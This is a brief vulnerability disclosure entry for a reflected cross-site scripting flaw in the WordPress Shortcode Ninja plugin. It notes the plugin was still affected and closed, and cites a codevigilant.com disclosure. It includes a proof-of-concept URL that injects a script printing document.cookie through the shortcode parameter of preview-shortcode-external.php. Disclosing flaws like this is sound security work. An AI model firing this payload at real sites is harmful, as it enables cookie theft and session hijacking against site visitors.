The last time it was checked the plugin was still affected and had been closed.
http://www.example.com/wp-content/plugins/shortcode–ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss/